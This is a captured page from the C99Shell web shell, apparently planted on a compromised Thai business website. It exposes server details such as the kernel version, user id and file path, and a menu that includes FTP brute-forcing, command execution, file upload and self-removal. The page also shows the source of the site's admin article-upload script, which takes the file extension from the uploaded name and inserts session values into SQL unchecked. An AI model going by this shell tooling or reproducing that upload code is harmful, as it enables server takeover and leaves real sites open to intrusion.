!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/krupimhomecenter.com/office/   drwxr-xr-x
Free 237.97 GB of 981.82 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     article_add.php (6.48 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<? 
include 'index_IncludeAdmin.php'
$_SESSION['page'] = 'article.php';

if (
$_POST['article_Add']) {
    
$Jpg strrchr($_FILES["article_photo"]["name"],".");
    
$article_photo rand().rand().$Jpg;
    if(
move_uploaded_file($_FILES["article_photo"]["tmp_name"],"../Files/article_photo/".$article_photo)){

        
$article_name htmlspecialchars($_POST['article_name'], ENT_QUOTES );
        
$article_detail htmlspecialchars($_POST['article_detail'], ENT_QUOTES );
        
$article_review function_review($_POST['article_review']);
        
$article_page function_page(random_string().$article_name);
        
        
$article_Add "INSERT INTO `article` (`article_page`,`article_name`, `article_detail`, `article_photo`,`article_review`,`article_datetime`,`article_date`,`article_time`)
        VALUES('
$article_page','$article_name','$article_detail','$article_photo','$article_review',now(),now(),now())";
        
$article_Reult mysqli_query($con,$article_Add);
        
$_SESSION[article_id] = mysqli_insert_id($con);
        if (!
$article_Reult) {
            echo
"<script>alert('เกิดข้อผิดพลาด หรือ ลิ้งเพจซ้ำ'); window.history.back(); </script>";
        }
        if (
$article_Reult) {
            if(isset(
$_FILES['article_picture_photo']['name'])&&$_FILES['article_picture_photo']['name']!=''){
                
$Count count($_FILES['article_picture_photo']['name']);
                for (
$i=0$i $Count$i++) { 
                    
$Jpg strrchr($_FILES["article_picture_photo"]["name"][$i],".");
                    
$article_picture_photo rand().rand().$Jpg;
                    if(
move_uploaded_file($_FILES["article_picture_photo"]["tmp_name"][$i],"../Files/article_picture_photo/".$article_picture_photo)){
                        
$article_picture_Add "INSERT INTO `article_picture` (`article_id`,`article_picture_photo`) VALUES ('$_SESSION[article_id]','$article_picture_photo')";
                        
$article_picture_Reult mysqli_query($con,$article_picture_Add);
                        if (!
$article_picture_Reult) {
                            echo
"<script>alert('Error article_picture'); window.history.back(); </script>";
                        }
                    }
                }
            }

            echo
"<script>  window.location='article_one.php?INSERT'; </script>";
        }    
    }    
}

?>

<!DOCTYPE html>
<html>
<head>
    <? include 'index_Head.php'?>
</head>
<body>
    <? include 'index_Navbar.php'?>    
    <div class="container-fluid">
        <div class="row">
            <div class="col-md-2" id="main-left">
                <div class="row">
                    <div class="col-md-12">
                        <? include 'index_AdminMenu.php'?>
                    </div>
                </div>
            </div>
            <div class="col-md-10">
                <div class="row">
                    <div class="col-md-12">
                        <h3>  เพิ่ม ข่าวและบทความ   </h3>
                        <hr>
                    </div>
                </div>
                <div class="row">
                    <div class="col-md-12 br-margin2">
                        <a href="article.php" class="btn btn-primary"><span class="glyphicon glyphicon-step-backward"></span> กลับ </a>
                    </div>
                    <div class="col-md-12">
                        <form class="form-horizontal" method="post" encType="multipart/form-data">
                            <div class="panel panel-default">
                                <div class="panel-heading">
                                    กรอกรายละเอียด "ข่าวและบทความ" ที่ต้องการเพิ่ม
                                </div>
                                <div class="panel-body">
                                    <div class="form-group">
                                        <label class="control-label col-md-3" > ชื่อข่าวและบทความ  <span class="text-red"> * </span> </label>
                                        <div class="col-md-6">
                                            <input id="article_name" type="text" class="form-control"  name="article_name"  required  maxlength="80" placeholder="ความยาวไม่เกิน 80  ตัวอักษร" >
                                        </div>
                                        <label class="control-label col-md-3 text-left" > <span id="article_name_chars" class="text-muted">  </span>  </label>
                                        <script type="text/javascript">
                                            var article_name = 80;
                                            $('#article_name').keyup(function() {
                                                var length = $(this).val().length;
                                                var length = article_name-length;
                                                $('#article_name_chars').text(length);
                                            });
                                        </script>
                                    </div>
                                    <div class="form-group">
                                        <label class="control-label col-md-3" > รายละเอียดเบื้องต้น </label>
                                        <div class="col-md-6">
                                            <textarea id="article_detail" class="form-control" rows="4" name="article_detail"  maxlength="250" placeholder="รายละเอียดแนะนำ สั้นๆ ความยาวไม่เกิน 250  ตัวอักษร"></textarea>
                                        </div>
                                        <label class="control-label col-md-2 text-left" > <span id="article_detail_chars"  class="text-muted">  </span>  </label>
                                        <script type="text/javascript">
                                            var article_detail = 250;
                                            $('#article_detail').keyup(function() {
                                                var length = $(this).val().length;
                                                var length = article_detail-length;
                                                $('#article_detail_chars').text(length);
                                            });
                                        </script>
                                    </div>
                                    <div class="form-group">
                                        <label class="control-label col-md-3" > รูป ข่าวและบทความ <span class="text-red"> * </span> </label>
                                        <div class="col-md-6">
                                            <input Type="file" class="form-control"  name="article_photo"  required>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label class="control-label col-md-3" > รูปภาพเพิ่มเติม  </label>
                                        <div class="col-md-6">
                                            <input type="file"  class="form-control" multiple="multiple" name="article_picture_photo[]">
                                        </div>
                                        <label class="control-label col-md-3 text-left" >
                                            สามารถเพิ่มได้ภายหลัง
                                        </label>
                                    </div>
                                    <div class="form-group"> 
                                        <div class="col-md-offset-3 col-md-6">
                                            <button Type="submit"  class="btn btn-success">
                                                <span class="glyphicon glyphicon-plus-sign"></span> ยืนยันการเพิ่ม
                                            </button>
                                            <input Type="hidden" name="article_Add" value="x">
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="panel panel-default">
                                <div class="panel-heading">
                                    เนื้อหา
                                </div>
                                <div class="panel-body">
                                    <textarea class="ckeditor" name="article_review">

                                    </textarea>
                                </div>
                            </div>
                        </form>
                    </div>
                    <!-- 12 -->
                </div>
                <!-- row -->
            </div>
            <!-- 10 -->
        </div>
        <!-- row -->
    </div>
    <!-- container -->
</body>
</html>



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.198 ]--